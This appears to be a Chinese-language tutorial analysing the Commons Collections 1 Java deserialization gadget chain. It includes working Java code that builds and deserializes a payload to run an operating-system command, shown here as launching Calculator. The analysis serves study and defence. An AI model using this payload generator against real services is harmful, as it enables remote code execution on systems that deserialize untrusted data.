前言 在学习CommonsCollection1前先认识一下以下的这些接口和类.
Transformer
Transformer接口定义了transform方法, 接收一个Object类型的参数
ConstantTransformer
其类实现了上述的Transformer接口, 在构造方法中接收一个对象, 在transform方法中返回这个对象。
InvokerTransformer
InvokerTransformer类同样实现了Transformer接口, 具体解释如下图所示, InvokerTransformer的transform方法通过反射调用其方法。
ChainedTransformer
同样实现Transformer接口, 该类的构造方法接收一个Transformer对象的数组。在transform方法中循环调用Transformer数组中每个对象的transform方法。将上一个transform方法的返回结果作为下一个调用的参数
实例分析 基于上述介绍的对象实现命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class CommonCollections1 { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); chain.transform(123 ); } }
代码可能稍有复杂, 这块需要多多巩固Java反射
。
针对上图的内容再做一次文字解释, 希望读者能够在阅读本文的时候避免笔者踩的坑。
首先实例化了一个ChainedTransformer
对象, 传入的Transformer
数组一共有四个元素, 其中除了第一个元素是ConstantTransformer
对象外其他三个均为InvokerTransformer
对象。
在代码的20行处调用了ChainedTransformer
的transform
方法, 其首先调用ConstantTransformer
的transform
方法传入的参数为123
, 该方法会返回一个Runtime
的Class对象作为调用InvokerTransformer
对象transform
方法的参数。根据实例化对象时传入的参数, 该方法便会调用Class
类的getMethod
方法返回一个Method
对象, 继续重复上面的步骤。传入Method
对象调用其invoke方法获得Runtime
类的对象。最终在循环到第四个元素是便会调用exec
方法执行命令了, 结果如下图所示。
CommonsCollections1 Gadget Chain
通过上面的实例分析已经能够获取一条执行任意命令的链了, 但在上述的分析中我们是基于代码本身去主动调用的transform方法, 因此在真实的反序列化漏洞场景中, 需要找到一个能够直接/间接调用transform的gadget。在ysoserial中使用的是AnnotationInvocationHandler类。通过其的readObject方法和动态代理实现调用LazyMap的get方法触发gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
在AnnotationInvocationHandler
类的readObject方法中调用了memberValues成员变量的entrySet方法, memberValues不被transient或static关键字修饰。所以该属性我们是可控的。并且AnnocationInvocationHandler
类实现了InvocationHandler接口与invoke方法。所以该类可作为动态代理使用。
在invoke方法中又调用了memberValue的get方法:
在LazyMap的get方法中调用了transform方法从而实现上面的手动利用链, 这里的factory属性是可控的。所以只要令factory为ChainedTransformer就能完成命令执行的利用链。
代码实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class CommonCollections1 { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }); HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.decorate(hashMap, chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class , Map .class ) ; handler_constructor.setAccessible(true ); InvocationHandler handler_invocation = (InvocationHandler) handler_constructor.newInstance(Override.class , lazyMap ) ; Map map_proxy = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class }, handler_invocation ) ; Constructor annotation_invocation_handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class , Map .class ) ; annotation_invocation_handler_constructor.setAccessible(true ); InvocationHandler annotation_invocation_handler = (InvocationHandler) annotation_invocation_handler_constructor.newInstance(Override.class , map_proxy ) ; ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1" )); oos.writeObject(annotation_invocation_handler); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1" )); ois.readObject(); } }